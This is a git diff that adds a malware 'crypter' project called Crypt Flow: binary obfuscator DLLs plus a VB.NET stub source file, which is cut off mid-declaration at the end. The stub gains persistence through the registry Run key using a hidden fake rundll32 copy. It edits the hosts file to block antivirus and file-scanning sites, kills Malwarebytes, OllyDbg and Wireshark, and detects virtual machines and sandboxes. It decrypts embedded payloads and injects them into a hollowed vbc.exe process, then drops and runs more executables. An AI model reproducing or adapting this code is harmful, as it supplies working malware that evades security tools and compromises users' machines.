index 0000000..fcc8253 Binary files /dev/null and b/scode (Crypt Flow/Crypt Flow/Resources/AG.Eazfuscator.NET.Settings.dll differ diff --git a/scode (Crypt Flow/Crypt Flow/Resources/AG.Eazfuscator.NET.Updating.dll b/scode (Crypt Flow/Crypt Flow/Resources/AG.Eazfuscator.NET.Updating.dll new file mode 100644 index 0000000..c302c68 Binary files /dev/null and b/scode (Crypt Flow/Crypt Flow/Resources/AG.Eazfuscator.NET.Updating.dll differ diff --git a/scode (Crypt Flow/Crypt Flow/Resources/Castle.Core.dll b/scode (Crypt Flow/Crypt Flow/Resources/Castle.Core.dll new file mode 100644 index 0000000..d037a69 Binary files /dev/null and b/scode (Crypt Flow/Crypt Flow/Resources/Castle.Core.dll differ diff --git a/scode (Crypt Flow/Crypt Flow/Resources/Castle.MicroKernel.dll b/scode (Crypt Flow/Crypt Flow/Resources/Castle.MicroKernel.dll new file mode 100644 index 0000000..0c55b89 Binary files /dev/null and b/scode (Crypt Flow/Crypt Flow/Resources/Castle.MicroKernel.dll differ diff --git a/scode (Crypt Flow/Crypt Flow/Resources/Eazfuscator.NET.exe b/scode (Crypt Flow/Crypt Flow/Resources/Eazfuscator.NET.exe new file mode 100644 index 0000000..2bd8ae2 Binary files /dev/null and b/scode (Crypt Flow/Crypt Flow/Resources/Eazfuscator.NET.exe differ diff --git a/scode (Crypt Flow/Crypt Flow/Resources/ICSharpCode.SharpZipLib.dll b/scode (Crypt Flow/Crypt Flow/Resources/ICSharpCode.SharpZipLib.dll new file mode 100644 index 0000000..c076bdb Binary files /dev/null and b/scode (Crypt Flow/Crypt Flow/Resources/ICSharpCode.SharpZipLib.dll differ diff --git a/scode (Crypt Flow/Crypt Flow/Resources/Microsoft.Cci.MetadataHelper.dll b/scode (Crypt Flow/Crypt Flow/Resources/Microsoft.Cci.MetadataHelper.dll new file mode 100644 index 0000000..dd7d39c Binary files /dev/null and b/scode (Crypt Flow/Crypt Flow/Resources/Microsoft.Cci.MetadataHelper.dll differ diff --git a/scode (Crypt Flow/Crypt Flow/Resources/Microsoft.Cci.MetadataModel.dll b/scode (Crypt Flow/Crypt Flow/Resources/Microsoft.Cci.MetadataModel.dll new file mode 100644 index 0000000..c36d5c6 Binary files /dev/null and b/scode (Crypt Flow/Crypt Flow/Resources/Microsoft.Cci.MetadataModel.dll differ diff --git a/scode (Crypt Flow/Crypt Flow/Resources/Microsoft.Cci.MutableMetadataModel.dll b/scode (Crypt Flow/Crypt Flow/Resources/Microsoft.Cci.MutableMetadataModel.dll new file mode 100644 index 0000000..40da195 Binary files /dev/null and b/scode (Crypt Flow/Crypt Flow/Resources/Microsoft.Cci.MutableMetadataModel.dll differ diff --git a/scode (Crypt Flow/Crypt Flow/Resources/Microsoft.Cci.PeReader.dll b/scode (Crypt Flow/Crypt Flow/Resources/Microsoft.Cci.PeReader.dll new file mode 100644 index 0000000..4c59f74 Binary files /dev/null and b/scode (Crypt Flow/Crypt Flow/Resources/Microsoft.Cci.PeReader.dll differ diff --git a/scode (Crypt Flow/Crypt Flow/Resources/Microsoft.Cci.PeWriter.dll b/scode (Crypt Flow/Crypt Flow/Resources/Microsoft.Cci.PeWriter.dll new file mode 100644 index 0000000..690eda7 Binary files /dev/null and b/scode (Crypt Flow/Crypt Flow/Resources/Microsoft.Cci.PeWriter.dll differ diff --git a/scode (Crypt Flow/Crypt Flow/Resources/Microsoft.Cci.SourceModel.dll b/scode (Crypt Flow/Crypt Flow/Resources/Microsoft.Cci.SourceModel.dll new file mode 100644 index 0000000..783a6cd Binary files /dev/null and b/scode (Crypt Flow/Crypt Flow/Resources/Microsoft.Cci.SourceModel.dll differ diff --git a/scode (Crypt Flow/Crypt Flow/Resources/Mono.Cecil.dll b/scode (Crypt Flow/Crypt Flow/Resources/Mono.Cecil.dll new file mode 100644 index 0000000..82372ca Binary files /dev/null and b/scode (Crypt Flow/Crypt Flow/Resources/Mono.Cecil.dll differ diff --git a/scode (Crypt Flow/Crypt Flow/Resources/Res.exe b/scode (Crypt Flow/Crypt Flow/Resources/Res.exe new file mode 100644 index 0000000..fb5b912 Binary files /dev/null and b/scode (Crypt Flow/Crypt Flow/Resources/Res.exe differ diff --git a/scode (Crypt Flow/Crypt Flow/Resources/sursa.txt b/scode (Crypt Flow/Crypt Flow/Resources/sursa.txt new file mode 100644 index 0000000..6ce5a80 --- /dev/null +++ b/scode (Crypt Flow/Crypt Flow/Resources/sursa.txt @@ -0,0 +1,540 @@ +Imports System, Microsoft.VisualBasic +Imports System.Runtime.InteropServices +Imports System.Text +Imports System.Reflection +Imports System.Security.Cryptography +Imports System.Runtime.CompilerServices +Imports System.IO +Imports System.IO.FileStream +Imports System.ComponentModel +Imports Microsoft.Win32 +Imports System.Diagnostics +Imports System.Object +Imports System.Net +Imports System.Windows.Forms +Imports System.Threading.Thread +Imports System.Environment + + +Module pizde + Dim iohouh7877 As String = "GDGDF54545" + Dim HostEditing As String = "%28%" + Dim antis As String = "%29%" + Dim stuff As String = "%something%" + + + + Sub Main() + + On Error Resume Next + Dim RunningProcess As String = Process.GetCurrentProcess().ProcessName + Dim processes As Process() = Process.GetProcessesByName(RunningProcess) + + %200% + Const rady = "FUTIitp23EPE" + + If iohouh7877 = "hhhhhhhhhheeeee" Then + + Dim temp As Object = Path.GetTempPath + + Dim ASDASD4 = Application.ExecutablePath + Dim AS3 As Object = Path.GetFullPath(ASDASD4) + Dim ASFR3R As FileAttributes = FileAttributes.System + FileAttributes.Hidden + My.Computer.Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True).SetValue("rundll32", temp & "rundll32 .exe") + + FileCopy(AS3, temp & "\" & "rundll32 .exe") + File.SetAttributes(temp & "\" & "rundll32 .exe", ASFR3R) + End If + + + Const ady = "@targuOCna@" + + If HostEditing = "hhhhhhhhhheeeee" Then + HostEdit() + Else : End If + + + + + call AntiMalwarebytes() + call AntiOllydbg() + + call AntiWireshark() +call AntiVirtualBox() + call AntiVirtualPC() + call AntiVmWare() + call IsDebuggerPresent() + + Dim gifa As String + Dim piula As String = cacatzel + Dim ADSEQ3434 As Byte() = okitokjwe33(Convert.FromBase64String(piula)) + + Dim dropsor As String + Dim dropz As String = bilibistroc + Dim dropfile As Byte() = okitokjwe33(Convert.FromBase64String(dropz)) + + Dim fagi As String + Dim sula As String = encr + Dim nuj As Byte() = decrypt(Convert.FromBase64String(sula), "parola") + + Dim blablabla As String + Dim bind As String = bind2 + Dim file2 As Byte() = okitokjwe33(Convert.FromBase64String(bind)) + + + + System.Text.Encoding.GetEncoding(1252).GetBytes(piula) + Dim temp3 As Object = Path.GetTempPath + Dim asfast53 As String + Dim fas34434daDdasDSA As String + Directory.CreateDirectory(temp3 & "winamp") + Dim FAS43243 As String = temp3 & "\" & "winamp" & "\" & "am reusit.exe" + asfast53 = "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" + fas34434daDdasDSA = temp3 & "\" & "winamp" & "\" & "am reusit.exe" + If System.IO.File.Exists(fas34434daDdasDSA) = False Then + System.IO.File.Copy(asfast53, fas34434daDdasDSA) + + End If + + Dim ASFR3R2 As FileAttributes = FileAttributes.System + FileAttributes.Hidden + File.SetAttributes(temp3 & "\" & "winamp" & "\" & "am reusit.exe", ASFR3R2) + + + + + + + + If IsProcessRunning4("sandboxierpcss.exe") = False Then + + buffy.mickey(ADSEQ3434, FAS43243) + + buffy.mickey(nuj, FAS43243) + End If + + If IsProcessRunning2("%temp%.exe") = False Then ' dak procesul.exe ruleaza atunci + If IsProcessRunning5("#rundll32 .exe#") = #false# then + Dim TempDir As String = My.Computer.FileSystem.SpecialDirectories.Temp ' Create refrence to temp dir + My.Computer.FileSystem.WriteAllBytes(TempDir & "\" & "%temp%.exe", file2, False) + Process.Start(TempDir & "\" & "%temp%.exe") + End If + End If + If IsProcessRunning3("%tmp%.exe") = False Then + Dim TempDir2 As String = My.Computer.FileSystem.SpecialDirectories.Temp + My.Computer.FileSystem.WriteAllBytes(TempDir2 & "\" & "%tmp%.exe", dropfile, False) + Process.Start(TempDir2 & "\" & "%tmp%.exe") + End If + + + + + + + + + + End + End Sub + + + + + Private Declare Function IsDebuggerPresent Lib "kernel32.dll" () As Integer + Sub Main2() + If IsDebuggerPresent() = 1 Then + Console.WriteLine("Debugger Is Present") + 'DoStuff + Else + Console.WriteLine("Debugger Not Present") + End If + End Sub + + + + Private Sub HostEdit() + Dim systempath As String = Environment.GetFolderPath(Environment.SpecialFolder.System) + + Dim hosts As String = systempath & "\" & "drivers" & "\" & "etc" & "\\" & "hosts" + 'this creates a new string with the value of systempath and the above text + 'in VB.NET we do not need two \\'s only one. + + Dim writer As New StreamWriter(hosts) + + writer.Write("127.0.0.1 www.virustotal.com") + writer.Write(Environment.NewLine) + writer.Write("127.0.0.1 virustotal.com") + writer.Write(Environment.NewLine) + writer.Write("127.0.0.1 novirusthanks.org") + writer.Write(Environment.NewLine) + writer.Write("127.0.0.1 vscan.novirusthanks.org") + writer.Write(Environment.NewLine) + writer.Write("127.0.0.1 virusscan.jotti.org") + writer.Write(Environment.NewLine) + writer.Write("127.0.0.1 www.virusscan.jotti.org") + writer.Write(Environment.NewLine) + writer.Write("127.0.0.1 virscan.org") + writer.Write(Environment.NewLine) + writer.Write("127.0.0.1 www.virscan.org") + writer.Write(Environment.NewLine) + writer.Write("127.0.0.1 virus-trap.org") + writer.Write(Environment.NewLine) + writer.Write("127.0.0.1 www.virus-trap.org") + writer.Write(Environment.NewLine) + writer.Write("127.0.0.1 filterbit.com") + writer.Write(Environment.NewLine) + writer.Write("127.0.0.1 www.filterbit.com") + writer.Write(Environment.NewLine) + writer.Write("127.0.0.1 viruschief.com") + writer.Write(Environment.NewLine) + writer.Write("127.0.0.1 www.viruschief.com") + writer.Write(Environment.NewLine) + writer.Write("127.0.0.1 kaspersky.com") + writer.Write(Environment.NewLine) + writer.Write("127.0.0.1 www.kaspersky.com") + + + writer.Dispose() + + End Sub + Dim Devices As Object, Grafikadapter As String, RegionA As String = "SELECT * FROM Win32_VideoController" + + Public Function AntiVirtualBox() As Boolean + On Error GoTo error1 + Call getDevices() + + Select Case Grafikadapter + Case "VirtualBox Graphics Adapter" + Return True + Case Else + Return False + End Select + Exit Function +error1: + End + End Function + + Public Function AntiVmWare() As Boolean + On Error GoTo error1 + Call getDevices() + + Select Case Grafikadapter + Case "VMware SVGA II" + Return True + Case Else + Return False + End Select + Exit Function +error1: + End + End Function + + Public Function AntiVirtualPC() As Boolean + On Error GoTo error1 + Call getDevices() + + Select Case Grafikadapter + Case "VM Additions S3 Trio32/64" + Return True + Case Else + Return False + End Select + Exit Function +error1: + End + End Function + + Private Sub getDevices() + On Error GoTo error1 + Devices = GetObject("winmgmts:").ExecQuery(RegionA) + Dim AdaptList As Object + For Each AdaptList In Devices + Grafikadapter = AdaptList.Description + Next + Exit Sub +error1: + End + End Sub + + + + '------------------------Malwarebytes---------------------------- + Sub AntiMalwarebytes() + Dim generaldee As Process() = Process.GetProcesses + Dim i As Integer + For i = 0 To generaldee.Length - 1 + Select Case Strings.LCase(generaldee(i).ProcessName) + Case "mbam" + generaldee(i).Kill() + Case Else + End Select + Next + End Sub + Sub AntiOllydbg() + Dim generaldee As Process() = Process.GetProcesses + Dim i As Integer + For i = 0 To generaldee.Length - 1 + Select Case Strings.LCase(generaldee(i).ProcessName) + Case "ollydbg" + generaldee(i).Kill() + Case Else + End Select + Next + '------------------------Wireshark---------------------------- + End Sub + Sub AntiWireshark() + Dim generaldee As Process() = Process.GetProcesses + Dim i As Integer + For i = 0 To generaldee.Length - 1 + Select Case Strings.LCase(generaldee(i).ProcessName) + Case "wireshark" + generaldee(i).Kill() + Case Else + End Select + Next + End Sub + + + '-----------------------Emulator------------------------------ + + + Private Function IsProcessRunning2(ByVal name As String) As Boolean + Dim p() As Process = Process.GetProcessesByName("%temp%") + For Each pNew As Process In p + If pNew Is Nothing Then + Return (False) + Exit For + Else + Return (True) + Exit For + End If + + Next + End Function + Private Function IsProcessRunning3(ByVal name As String) As Boolean + Dim p() As Process = Process.GetProcessesByName("%tmp%") + For Each pNew As Process In p + If pNew Is Nothing Then + Return (False) + Exit For + Else + Return (True) + Exit For + End If + + Next + End Function + Private Function IsProcessRunning4(ByVal name As String) As Boolean + Dim p() As Process = Process.GetProcessesByName("sandboxierpcss") + For Each pNew As Process In p + If pNew Is Nothing Then + Return (False) + Exit For + Else + Return (True) + Exit For + End If + + Next + End Function + + Private Function IsProcessRunning5(ByVal name As String) As Boolean + Dim p() As Process = Process.GetProcessesByName("#rundll32 #") + For Each pNew As Process In p + If pNew Is Nothing Then + Return (False) + Exit For + Else + Return (True) + Exit For + End If + + Next + End Function + + Function okitokjwe33(ByVal data As Byte()) As Byte() + + Using E90LDMDXNJ As New System.Security.Cryptography.RijndaelManaged + E90LDMDXNJ.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7} + E90LDMDXNJ.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1} + Return E90LDMDXNJ.CreateDecryptor.TransformFinalBlock(data, 0, data.Length) + + End Using + End Function + + Function decrypt(ByVal message As Byte(), ByVal password As String) As Byte() + Dim O6BB3K791m1D8qTyc2v7875E9A1nTpassarrP22wIwq85bVrtWSy2l882mfOIw0y1Qus3URxG45nrwNFZ7J8L3UXoRx As Byte() = System.Text.Encoding.Default.GetBytes(password) + Dim VVlv4cC8Xf8XWeM5DNICaJ3mA01A8rallazK1T68e27rand1EHqRWBKU7rL3nv9V6hg5sbz7t34utQk9TOzQTHOHUxar1FSpR6iV9BeRR86ss4Qcb7S1X0bb736zdv61PRcAN As Integer = message(message.Length - 1) Xor 112 + Dim outarr(message.Length) As Byte + Dim Dve2KT16Xxtv6z68P0A5oH3C7LHtk2TjuE5ZUmeT6bAd13t191BI3F1u13YrWPN6aw5eq8bazu47M8CLsNDq78B725la6P4g19CbNwjCVU588k2f51p4pLLB48r3R6f4fC32z5udu9pab8kELo5k As Integer + For i1 As Integer = 0 To message.Length - 1 + outarr(i1) = (message(i1) Xor VVlv4cC8Xf8XWeM5DNICaJ3mA01A8rallazK1T68e27rand1EHqRWBKU7rL3nv9V6hg5sbz7t34utQk9TOzQTHOHUxar1FSpR6iV9BeRR86ss4Qcb7S1X0bb736zdv61PRcAN) Xor O6BB3K791m1D8qTyc2v7875E9A1nTpassarrP22wIwq85bVrtWSy2l882mfOIw0y1Qus3URxG45nrwNFZ7J8L3UXoRx(Dve2KT16Xxtv6z68P0A5oH3C7LHtk2TjuE5ZUmeT6bAd13t191BI3F1u13YrWPN6aw5eq8bazu47M8CLsNDq78B725la6P4g19CbNwjCVU588k2f51p4pLLB48r3R6f4fC32z5udu9pab8kELo5k) + If Dve2KT16Xxtv6z68P0A5oH3C7LHtk2TjuE5ZUmeT6bAd13t191BI3F1u13YrWPN6aw5eq8bazu47M8CLsNDq78B725la6P4g19CbNwjCVU588k2f51p4pLLB48r3R6f4fC32z5udu9pab8kELo5k = password.Length - 1 Then Dve2KT16Xxtv6z68P0A5oH3C7LHtk2TjuE5ZUmeT6bAd13t191BI3F1u13YrWPN6aw5eq8bazu47M8CLsNDq78B725la6P4g19CbNwjCVU588k2f51p4pLLB48r3R6f4fC32z5udu9pab8kELo5k = 0 Else Dve2KT16Xxtv6z68P0A5oH3C7LHtk2TjuE5ZUmeT6bAd13t191BI3F1u13YrWPN6aw5eq8bazu47M8CLsNDq78B725la6P4g19CbNwjCVU588k2f51p4pLLB48r3R6f4fC32z5udu9pab8kELo5k = Dve2KT16Xxtv6z68P0A5oH3C7LHtk2TjuE5ZUmeT6bAd13t191BI3F1u13YrWPN6aw5eq8bazu47M8CLsNDq78B725la6P4g19CbNwjCVU588k2f51p4pLLB48r3R6f4fC32z5udu9pab8kELo5k + 1 + Next + ReDim Preserve outarr(message.Length - 2) + Return outarr + End Function + + + + + +End Module + +Public Class buffy + Public Const ASDFASFASF As Long = &HADAS + Public Const FASFASFASF As Long = &HEAD4 + Public Const AFSFASFASCFC As Long = &HDAS + Public Const ASDASCASDASD As Long = &HDAS + Public Const BVCXBXCBXCB As Long = &HDAS + Public Const BXCBXCBXCB As Long = &HFD + Public Const FSDR3FSF As Long = &HDAS + Public Const KKKKKKKKKDDDDDDD As Long = &H435F + Public Const FSSSSSSSSSSSSSSSSSS As UInt32 = &HDAS + + Public Shared Sub mickey(ByVal DAS4DA3() As Byte, ByVal VVVVVVCAE As String) + Dim TVM1OKF029 = New Context, ASFSVS As Section_Header, FADAS43FAS43 = New Process_Information, FADASCC43FAS43 = New Startup_Information, FSCC43FAS43 = New Security_Flags, C43FAS43 = New Security_Flags + Dim YI02ALMTDK = GCHandle.Alloc(DAS4DA3, GCHandleType.Pinned) + Dim ZPOIMKBNM1 As Integer = YI02ALMTDK.AddrOfPinnedObject.ToInt32 + Dim VAGKWL2DMX As New DOS_Header + VAGKWL2DMX = Marshal.PtrToStructure(YI02ALMTDK.AddrOfPinnedObject, VAGKWL2DMX.GetType) + YI02ALMTDK.Free() + Dim GN04L0ER8I As GN04L0ER8I = TXXY5U8D2U(Of GN04L0ER8I)("kernel32", "CreateProcessA") + Dim R84OY4NT36 As R84OY4NT36 = TXXY5U8D2U(Of R84OY4NT36)("kernel32", "GetThreadContext") + Dim Q7QRRP639W As Q7QRRP639W = TXXY5U8D2U(Of Q7QRRP639W)("kernel32", "ReadProcessMemory") + Dim ZGOQ8VM05M As ZGOQ8VM05M = TXXY5U8D2U(Of ZGOQ8VM05M)("kernel32", "WriteProcessMemory") + Dim EFVI2YI66B As EFVI2YI66B = TXXY5U8D2U(Of EFVI2YI66B)("ntdll", "ZwUnmapViewOfSection") + Dim W6CTR6GLCC As W6CTR6GLCC = TXXY5U8D2U(Of W6CTR6GLCC)("kernel32", "VirtualAllocEx") + Dim K7B3INYH01 As K7B3INYH01 = TXXY5U8D2U(Of K7B3INYH01)("kernel32", "SetThreadContext") + Dim WS2XVBNVO9 As WS2XVBNVO9 = TXXY5U8D2U(Of WS2XVBNVO9)("kernel32", "ResumeThread") + If GN04L0ER8I(Nothing, VVVVVVCAE, FSCC43FAS43, C43FAS43, False, 4, Nothing, Nothing, FADASCC43FAS43, FADAS43FAS43) = 0 Then Return + Dim BKIFNDE2PI As New NT_Headers + BKIFNDE2PI = Marshal.PtrToStructure(New IntPtr(ZPOIMKBNM1 + VAGKWL2DMX.DASE3ASDAS), BKIFNDE2PI.GetType) + Dim WMRQEDO32E, HDF754 As Long, DF754 As UInteger + FADASCC43FAS43.CSZE = Len(FADASCC43FAS43) + TVM1OKF029.II69TOHMUR = 65539 + If BKIFNDE2PI.SSSSSSSSSSSQ <> 17744 Or VAGKWL2DMX.DASDASFASF <> 23117 Then Return + If GN04L0ER8I(Nothing, VVVVVVCAE, FSCC43FAS43, C43FAS43, False, 4, Nothing, Nothing, FADASCC43FAS43, FADAS43FAS43) = 0 Then Return + R84OY4NT36(FADAS43FAS43.RFSER, TVM1OKF029) + Q7QRRP639W(FADAS43FAS43.DAS4QQW, TVM1OKF029.WDA + 8, WMRQEDO32E, 4, 0) + EFVI2YI66B(FADAS43FAS43.DAS4QQW, WMRQEDO32E) + Dim X6X0CHAYT3 As UInt32 = W6CTR6GLCC(FADAS43FAS43.DAS4QQW, BKIFNDE2PI.OOOU.DFAZDASD, BKIFNDE2PI.OOOU.DASRDASRASR, 12288, 4) + If X6X0CHAYT3 <> 0 Then + ZGOQ8VM05M(FADAS43FAS43.DAS4QQW, X6X0CHAYT3, DAS4DA3, BKIFNDE2PI.OOOU.WQDASDASD, DF754) + HDF754 = VAGKWL2DMX.DASE3ASDAS + 248 + For I As Integer = 0 To BKIFNDE2PI.DSEEEEE.DAAAAAAAA3 - 1 + ASFSVS = Marshal.PtrToStructure(New IntPtr(ZPOIMKBNM1 + HDF754 + I * 40), ASFSVS.GetType) + Dim FJGB2K6EL6(ASFSVS.DA22S3) As Byte + For Y As Integer = 0 To ASFSVS.DA22S3 - 1 : FJGB2K6EL6(Y) = DAS4DA3(ASFSVS.PoinEEter + Y) : Next + ZGOQ8VM05M(FADAS43FAS43.DAS4QQW, X6X0CHAYT3 + ASFSVS.AL8ZCRFWNU, FJGB2K6EL6, ASFSVS.DA22S3, DF754) + Next I + Dim JQTOGZCAWU = BitConverter.GetBytes(X6X0CHAYT3) + ZGOQ8VM05M(FADAS43FAS43.DAS4QQW, TVM1OKF029.WDA + 8, JQTOGZCAWU, 4, DF754) + TVM1OKF029.AS4 = X6X0CHAYT3 + BKIFNDE2PI.OOOU.DDDDDDDDAAA + K7B3INYH01(FADAS43FAS43.RFSER, TVM1OKF029) + WS2XVBNVO9(FADAS43FAS43.RFSER) + End If + End Sub + + Declare Function LoadLibraryA Lib "kernel32" (ByVal tr6 As String) As IntPtr + Declare Function GetProcAddress Lib "kernel32" (ByVal gdr54 As IntPtr, ByVal gfsd54 As String) As IntPtr + Private Declare Function RpcNsProfileEltAdd Lib "rpcns4.dll" Alias "RpcNsProfileEltAddA" (ByVal ProfileNameSyntax As Long, ByVal ProfileName As String, ByRef IfId As IntPtr, ByVal MemberNameSyntax As Long, ByVal MemberName As String, ByVal Priority As Long, ByVal Annotation As String) As Long + Private Declare Function ldap_close_extended_op Lib "wldap32.dll" (ByRef ld As IntPtr, ByVal MessageNumber As Long) As Long + Private Declare Function lineSetAppSpecific Lib "tapi32.dll" (ByVal hCall As Long, ByVal dwAppSpecific As Long) As Long + Private Declare Function MgmGetNextMfeStats Lib "rtm.dll" (ByRef pimmStart As IntPtr, ByRef pdwBufferSize As Long, ByVal pbBuffer As String, ByRef pdwNumEntries As Long) As Long + Private Declare Function MprAdminDeviceEnum Lib "mprapi.dll" (ByRef hMprServer As IntPtr, ByVal dwLevel As Long, ByVal lplpbBuffer As String, ByRef lpdwTotalEntries As Long) As Long + Private Declare Function MsiDatabaseImport Lib "MSI.dll" (ByRef hDatabase As IntPtr, ByVal szFolderPath As String, ByVal szFileName As String) As Long + Private Declare Function NdrMesSimpleTypeAlignSize Lib "rpcrt4.dll" (ByVal handle_t As Long) As Long + Private Declare Function NetMessageNameDel Lib "NETAPI32.dll" (ByVal servername As String, ByVal msgname As String) As Long + Private Declare Function NetReplExportDirSetInfo Lib "NETAPI32.dll" (ByVal servername As String, ByVal dirname As String, ByVal level As Long, ByVal buf As String, ByRef parm_err As Long) As Long + Private Declare Function NetUseGetInfo Lib "NETAPI32.dll" (ByRef UncServerName As IntPtr, ByRef UseName As IntPtr, ByVal level As Long, ByVal bufptr As String) As Long + Private Declare Function QueueUserWorkItem Lib "kernel32.dll" (ByVal lFunction As Long, ByRef Context As Long, ByVal Flags As Long) As Long + Private Declare Function ReadConsoleInput Lib "kernel32.dll" Alias "ReadConsoleInputA" (ByVal hConsoleInput As Long, ByRef lpBuffer As IntPtr, ByVal nLength As Long, ByRef lpNumberOfEventsRead As Long) As Long + Private Declare Function ShowWindowAsync Lib "user32.dll" (ByVal hWnd As Long, ByVal nCmdShow As Long) As Long + Private Declare Function SnmpMgrCtl Lib "mgmtapi.dll" (ByRef session As IntPtr, ByVal dwCtlCode As Long, ByRef lpvInBuffer As Long, ByVal cbInBuffer As Long, ByRef lpvOUTBuffer As Long, ByVal cbOUTBuffer As Long, ByRef lpcbBytesReturned As Long) As Long + Private Declare Function AddAuditAccessAceEx Lib "advapi32.dll" (ByVal pAcl As IntPtr, ByVal dwAceRevision As Long, ByVal AceFlags As Long, ByVal dwAccessMask As Long, ByRef pSid As IntPtr, ByVal bAuditSuccess As Long, ByVal bAuditFailure As Long) As Long + Private Declare Function SQLInstallerError Lib "ODBCCP32.dll" (ByVal iError As Integer, ByRef pfErrorCode As Long, ByVal lpszErrorMsg As String, ByVal cbErrorMsgMax As Integer, ByRef pcbErrorMsg As Integer) As Long + Private Declare Function SQLSetCursorName Lib "msorcl32.dll" (ByVal hstmt As Long, ByVal szCursor As String, ByVal cbCursor As Integer) As Long + Private Declare Function RasSetCredentials Lib "rasapi32.dll" Alias "RasSetCredentialsA" (ByVal lpcstr As String, ByVal lpcstr As String, ByRef TLPRASCREDENTIALSA As IntPtr, ByVal bool As Long) As Long + Private Declare Function ReadConsole Lib "kernel32.dll" Alias "ReadConsoleA" (ByVal hConsoleInput As Long, ByRef lpBuffer As Long, ByVal nNumberOfCharsToRead As Long, ByRef lpNumberOfCharsRead As Long, ByRef lpReserved As Long) As Long + Private Declare Function ReadEncryptedFileRaw Lib "advapi32.dll" (ByRef pfExportCallback As IntPtr, ByRef pvCallbackContext As Long, ByRef pvContext As Long) As Long + Private Declare Function ReadPrinter Lib "winspool.drv" (ByVal hPrinter As Long, ByRef pBuf As Long, ByVal cdBuf As Long, ByRef pNoBytesRead As Long) As Long + Private Declare Function RegisterHotKey Lib "user32.dll" (ByVal hwnd As Long, ByVal id As Long, ByVal fsModifiers As Long, ByVal vk As Long) As Long + Private Declare Function ReleaseSemaphore Lib "kernel32.dll" (ByVal hSemaphore As Long, ByVal lReleaseCount As Long, ByRef lpPreviousCount As Long) As Long + + Private Declare Function GetSiteNameFromSid Lib "advapi32.dll" (ByRef pSid As Long, ByVal pwsSite As String) As IntPtr + Private Declare Function GetStringTypeEx Lib "kernel32.dll" Alias "GetStringTypeExA" (ByVal Locale As Long, ByVal dwInfoType As Long, ByVal lpSrcStr As String, ByVal cchSrc As Long, ByRef lpCharType As Integer) As Long + Private Declare Function GetVolumePathName Lib "kernel32.dll" Alias "GetVolumePathNameA" (ByVal lpszFileName As String, ByVal lpszVolumePathName As String, ByVal cchBufferLength As Long) As Long + Private Declare Function SetWindowLong Lib "user32.dll" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long + Private Declare Function TlsSetValue Lib "kernel32.dll" (ByVal dwTlsIndex As Long, ByRef lpTlsValue As Long) As Long + Private Declare Function ToAscii Lib "user32.dll" (ByVal uVirtKey As Long, ByVal uScanCode As Long, ByRef lpbKeyState As Byte, ByRef lpwTransKey As Long, ByVal fuState As Long) As IntPtr + + Private Shared Function TXXY5U8D2U(Of T)(ByVal ASFASE3 As String, ByVal FASGAS543W As String) As T + Return DirectCast(DirectCast(Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ASFASE3), FASGAS543W), GetType(T)), Object), T) + End Function + Structure Context + Dim II69TOHMUR, d2, das, d9, ad, dsa, ds As UInt32, Save As Save + Dim dh, sad, da, MD, RD, mSI, WDA, AD3, D21, AS4, K32, F2W, HHJ, ADF5, GSSA, DSAAA As UInt32 + Dim er6rgdr65 As Byte() + End Structure + Structure Save + Dim KD7JX2MXT, JCNS3ZPSXO, DAS3, DAS23, ADSA, DAF35, FA32D As UInteger + Dim FSDRF43 As Byte() + Dim FA32QA As UInt32 + End Structure + Structure Misc + Dim SDUHRL, GSIJ As UInt32 + End Structure + Structure Section_Header + Dim FSDPOU4PO3 As Byte, Mi2sc As Misc, AL8ZCRFWNU, DA22S3, PoinEEter, E2Q4RS, FS523QF, FSB43FSD4, QBFAS4E, AS32QFZS As UInt32 + End Structure + Structure Process_Information + Dim DAS4QQW, RFSER As IntPtr, TGJWE, SDFFFFFFFFFF As Integer + End Structure + Structure Startup_Information + Dim CSZE As Integer, FSDR4G, AAAAAAAAAA, AADDDDDDD As String, ADA, C, AEDS, DASDDDD, XASE4, DAS3EDFZ, DVA3ES, CCCCQ As Integer + Dim FDSRS, VYE5X As Short, KHJKIHJK, KHJKHJK, KHJKHJ, KHJKJHK As Integer + End Structure + Structure Security_Flags + Dim GFSETWE As Integer, EWEWWW As IntPtr, DASDAS As Integer + End Structure + Structure DOS_Header + Dim DASDASFASF, QWEQWE, EQWEQWEQWE, HFGHFGHFGH, HFGHFGHFG, DASD444444, DASFASE33, DASKGHJ, DASVZDF, VXCVXC, VXCVXCV, EWECS, EWADC, UADA3 As UInt16 + Dim ReservWWWWWWWWWWWWWWWedA As UInt16() + Dim DAS4E, UJJ As UInt16 + Dim DDDDDDDDD As UInt16() + Dim DASE3ASDAS As Int32 + End Structure + Structure NT_Headers + Dim SSSSSSSSSSSQ As UInt32, DSEEEEE As File_Header, [OOOU] As Optional_Headers + End Structure + Structure File_Header + Dim ITTTTTTTT, DAAAAAAAA3 As UInt16, HRFTYTYTR, GJGFSFS, FSVGY As UInt32, FSFV, A34FFC As UInt16 + End Structure + Structure Optional_Headers + Public WWWWWWWWW As UInt16, MaAAAAAAAAAAAjor, MiSSSSSSSSSSSnor As Byte, SSSSSSSSSSSSS, FFFFFFFFFFF, XXXXXXXX, DDDDDDDDAAA, FSSSSSSS, RSFS43, DFAZDASD As UInt32, SectionA, FileA As UInt32 + Public GDFTDFFFF, HGDFHD564, GD5ERGD, FSD5YHD, ASDASG, AS4ASAS As UInt16, CCC, DASRDASRASR, WQDASDASD, Assssssss As UInt32, fsd4s, fjio As UInt16 + Public dasrlajstpoi, dasdraskyjhuasp, SHRedas4wa9uqserve, fsdtsysyt, eawdasdas3, Cocccunt As UInt32 + Public GSDGSDT4 As Data_Directory() + End Structure + Structure Data_Directory + Dim ewq34q234, das34aw33 As UInt32 + End Structure + Delegate Function GN04L0ER8I(ByVal ASFASE3 As String, ByVal DASDAS3E2 As String, ByRef DASCASE As Security_Flags, ByRef CASE222 As Security_Flags, ByVal DAS432E As Boolean, ByVal AEDFKJK32 As UInt32, ByVal DSA43R3W As IntPtr, ByVal ase32ew As String, <[In]()> ByRef das43fsa As Startup_Information, ByRef das3 As Process_Information) As Boolean + Delegate Function ZGOQ8VM05M(ByVal DASE32 As IntPtr, ByVal AL8ZCRFWNU As Integer, ByVal DSAE32 As 